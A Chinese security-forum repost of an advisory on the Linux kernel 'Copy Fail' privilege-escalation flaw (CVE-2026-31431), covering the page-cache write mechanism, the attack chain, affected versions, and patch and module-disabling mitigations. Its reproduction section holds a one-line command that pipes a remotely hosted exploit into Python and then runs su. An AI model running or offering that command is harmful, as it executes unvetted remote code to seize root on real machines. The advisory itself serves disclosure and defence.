查看: 1080|回复: 0
收起左侧

[安全行业] Copy Fail-潜伏在Linux内核中长达9年的“史诗级”本地提权漏洞 [CVE-2026-31431]

[复制链接]
翼风Fly
发表于 2026-4-30 22:59:49 | 显示全部楼层 |阅读模式
本帖最后由 翼风Fly 于 2026-4-30 23:37 编辑

原文地址:
https://www.freebuf.com/articles/vuls/479408.html


一、漏洞概览  
   

2026年4月29日,一个潜伏在Linux内核中长达9年的史诗级本地提权漏洞 CVE-2026-31431(代号“Copy Fail”)被公开披露。该漏洞CVSS v3.1评分达7.8(高危),影响范围覆盖自2017年以来几乎所有主流Linux发行版,包括Ubuntu、Debian、RHEL、SUSE及Amazon Linux。    该漏洞攻击方式极为简洁,影响范围广泛,任何本地无特权用户,仅需一个732字节的Python脚本即可瞬间获取系统的root最高权限,攻击成功率高达100%。
漏洞概述
漏洞编号CVE-2026-31431   CNVD-2026-19044  
漏洞类型权限提升
触发方式本地
危害等级高危CVSS v3.1  7.8
影响范围Linux内核 4.14 ~ 6.19.11 / 7.0-rc(2017年至今全部主流发行版)
利用后果普通用户→Root / 容器逃逸宿主机 / 页缓存静默篡改
利用特征逻辑缺陷利用 / 无需内存破坏 / 无需竞态条件/ 本地低权限触发
发现方Theori / Xint Code (AI辅助)
修复状态官方已修复 (内核 6.18.22 / 6.19.12 / 7.0 系列),建议立即升级



二、漏洞复现
  1. curl https://copy.fail/exp | python3 && su
复制代码




三、攻击原理深度解析:从用户空间到内核页缓存的精准打击

3.1 核心攻击机制

Copy Fail的攻击核心是 “页缓存写入原语”(page-cache write primitive)。攻击者可以通过以下组合,实现向任意可读文件的页缓存中写入受控的4字节数据:

1.利用 splice()系统调用将文件数据零拷贝传入内核管道;

2.通过 AF_ALG套接字接口将数据送入内核加密子系统;

3.触发 authencesn解密路径——即使认证标签错误,破坏已经生效。

最关键的是:由于破坏发生在页缓存(内存中的文件缓存副本)中,而非磁盘上的持久化文件,系统不会将受破坏的页面标记为“脏页”以触发写回操作。因此,磁盘上的文件保持原样,所有基于校验和的文件完整性工具(如AIDE、Tripwire)均无法检测到异常。


3.2 三步攻击链路
阶段操作技术要点
第一阶段:页缓存污染运行小型Python脚本,通过AF_ALG与splice触发内核Bug无需root权限,任何本地用户均可执行
第二阶段:篡改setuid二进制向目标二进制文件的页缓存写入特定4字节篡改其程序逻辑,使其执行攻击者指定的代码
第三阶段:触发提权执行被污染的setuid程序(如su)内核从被污染的页缓存中读取并执行代码,获得root权限
攻击者一般选取系统上的setuid二进制文件(如 sudo或 su),通过页缓存写入篡改其在内存中的执行逻辑;当任何用户(或系统进程)调用该程序时,内核将直接从被污染的页缓存中读取并执行,攻击者由此获得root权限。

3.3 关键技术细节AEAD解密流程中的Bug触发点:1. splice() 将文件页传入 → TX SGL中tag条目仍引用文件页缓存页2. _aead_recvmsg() 将tag链接到RX SGL → 通过sg_chain引用,非复制3. req->src = req->dst → 页缓存页进入可写目标散列表4. authencesn解密 → 在tag区域写入4字节后,才校验认证标签5. 校验失败返回-EBADMSG → 但4字节破坏已写入页缓存也就是说,攻击者可以在认证标签本身就错误、解密注定失败的情况下,依然触发内核向目标页缓存写入4字节。这种“先破坏、后校验”的代码执行顺序,正是该逻辑缺陷致命性的根源。

四、PoC分析:为何732字节的10行Python脚本就能实现稳定提权

Theori团队发布的概念验证(PoC)漏洞利用脚本仅732字节,约10行Python代码,可在Ubuntu、RHEL、Amazon Linux、SUSE等主流发行版上确定性获取root权限。

这一极致简洁性源于以下因素:

1.无需竞态条件:与Dirty Cow(CVE-2016-5195)或Dirty Pipe(CVE-2022-0847)不同,Copy Fail不依赖竞态条件,因此无需反复尝试,单次执行即可成功;

2.无需内核版本偏移量:漏洞从4.14内核起持续存在,利用逻辑不随内核版本变化而调整;

3.无需编译:纯Python标准库实现,无需编译任何C代码或内核模块;

4.确定性利用:攻击者可以精确控制向页缓存写入哪4个字节以及写入的具体偏移量。

在验证测试中,同一份未修改的exploit脚本在以下四个平台上均成功获取了root shell:

[td]
发行版
内核版本
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 14.36.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

五、影响分析:远超桌面系统的威胁面5.1 核心高危场景

1.多租户Linux系统:共享硬件的多个用户环境中,任何本地账户均可横向提权;

2.共享内核容器环境:容器隔离依赖Linux命名空间和控制组,但内核是共享的——Copy Fail直接从内核层面击穿此隔离;

3.CI/CD构建管道:执行不可信代码的CI runner成为攻击跳板;

4.容器逃逸:页缓存在宿主机上是共享的,被入侵的容器可以破坏宿主机上其他容器可见的setuid二进制文件,实现从容器到宿主机节点的逃逸。

5.2 隐蔽性:文件完整性工具的盲区

该漏洞的误判风险在于:所有磁盘上的文件完整性检测均无法发现异常。因为破坏只发生在页缓存(内存)中,磁盘上的文件保持原样,不会触发任何 inotify文件系统事件。攻击者可以在系统管理员毫无察觉的情况下维持持久化的root访问。

六、修复与缓解

1. 根治方案
将内核升级至已修复版本:

  • 6.18系列≥ 6.18.22

  • 6.19系列≥ 6.19.12

  • 7.0系列≥ 7.0


修复原理:撤回2017年引入的in-place就地加密优化,恢复安全的out-of-place操作。

2. 临时缓解
若无法立即重启更新内核,禁用受影响模块:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.confrmmod algif_aead注意:此方案在内核静态编译了 CONFIG_CRYPTO_USER_API_AEAD=y的企业发行版上无效,届时只能更新内核。
参考链接






您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-10-31 17:37 , Processed in 0.030090 second(s), 3 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表